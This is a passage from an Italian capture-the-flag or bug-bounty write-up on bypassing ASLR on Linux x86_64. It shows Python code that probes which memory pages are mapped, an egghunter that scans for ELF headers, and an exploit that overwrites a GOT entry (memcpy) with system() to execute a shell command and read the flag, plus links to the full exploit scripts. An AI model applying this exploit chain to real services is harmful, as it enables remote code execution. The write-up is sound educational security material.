| 0x7fe3d7000000 | No |
| 0x7fe3d6000000 | Sì |
| 0x7fe3d6f00000 | No |
| 0x7fe3d6e00000 | No |
| 0x7fe3d6d00000 | No |
| 0x7fe3d6c00000 | No |
| 0x7fe3d6b00000 | No |
| 0x7fe3d6a00000 | Sì |
| 0x7fe3d6af0000 | No |
| 0x7fe3d6ae0000 | No |
| 0x7fe3d6ad0000 | No |
| 0x7fe3d6ac0000 | No |
| 0x7fe3d6ab0000 | No |
| 0x7fe3d6aa0000 | No |
| 0x7fe3d6a90000 | No |
| 0x7fe3d6a80000 | No |
| 0x7fe3d6a70000 | No |
| 0x7fe3d6a60000 | No |
| 0x7fe3d6a50000 | Sì |
| 0x7fe3d6a5f000 | No |
| 0x7fe3d6a5e000 | No |
| 0x7fe3d6a5d000 | No |
| 0x7fe3d6a5c000 | No |
| 0x7fe3d6a5b000 | No |
| 0x7fe3d6a5a000 | Sì |
lastMappedPage = 0x7fe3d6a5a000
Stiamo forzando mezzo byte alla volta, per uno scenario peggiore di 165 = 80 query.```py def linearFindLargest(base, increment, idstart): for i in range(0, 16)[::-1]: print (f"{base + incrementi:#x}", end='\t|\t') if isAddrMapped(base + incrementi, idstart+i): print ('Yes') return iincrement print ('No') raise Exception("linearFindLargest should not fail")
lastMappedPage = leakAddr lastMappedPage += linearFindLargest(lastMappedPage, 0x10000000, 40000) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000000, 40100) lastMappedPage += linearFindLargest(lastMappedPage, 0x100000, 40200) lastMappedPage += linearFindLargest(lastMappedPage, 0x10000, 40300) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000, 40400) print (f"{lastMappedPage = :#x}")
## 4.6 L'exploit
Alla fine, sappiamo tutto ciò che ci serve sui memory mapping, ora è solo questione di sfruttare una primitiva write-what-where per ottenere l'esecuzione di codice.
Per ottenere l'esecuzione di codice ho sovrascritto la voce `memcpy@got` di libkyle.so con `system@libc`.
### Ottenere la base di libkyle
Fortunatamente per noi, la base di libc e la base di libkyle.so si trovano a un offset costante rispetto a `lastMappedPage`; non sapevo che fosse così, quindi ho scritto un egghunter che cerca `\x7fELF` (header degli eseguibili ELF), che alla fine non si è rivelato utile.```py
# Scan backwards looking for b'\x7fELF'
i = 0
numElf = 0
while numElf != 2:
theAddr = lastMappedPage-0x1000*i
hdr = readFromAddr(theAddr, 4, 40500+i)
print(f"{i:02d}) Elf in {theAddr:#x}? {hdr.hex()}")
if hdr == b'\x7fELF':
numElf += 1
print (f"found elf at {theAddr:#x}")
if i > 70:
print ("Exploit failed, upper bound address was wrong")
exit(1)
i += 1
Fortunatamente sovrascrivere memcpy@got con system è stato sufficiente per ottenere la flag e reclamare quella succulenta bounty :)```py # exp is a CompressedFile which: # - writes libc.system to memcpy_got # - calls memcpy(cmd, 0, 0) -> system(cmd) cmd = b"ls;cat flag.txt;\x00" exp = CompressedFile(24)
exp.seek((memcpy_got - OUT_ADDR)&M64)
# out=memcpy_got
for b in p64(libc.symbols['system']):
exp.write(bytes([b]))
# out=memcpy_got+8
# memcpy(out, out-off, size)
# system(out)
in_addr_off = len(exp.content)
exp.content += cmd
exp.seek((IN_ADDR + in_addr_off - (memcpy_got + 8))&M64)
exp.memcpy(0, 0) # system(cmd)
uploadFile(exp.content, 123001)
# profit
getFile(123001)
## 4.7 The flag!
Puoi trovare l'exploit [qui](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/main/resources/x.py).
<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/48660/fbf98cc42c41c4487283d3545ab1f451ddcac7f1c6210e3d211ff5e04f63fef0.png"></p><br/>
C'è anche una versione affidabile al 100% dell'exploit [qui](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/main/resources/reliable_exploit.py).
## 5. Conclusione
Spero che il writeup ti sia piaciuto, se qualcosa non era abbastanza chiaro non esitare a contattarmi [@nick0ve](https://twitter.com/nick0ve) :)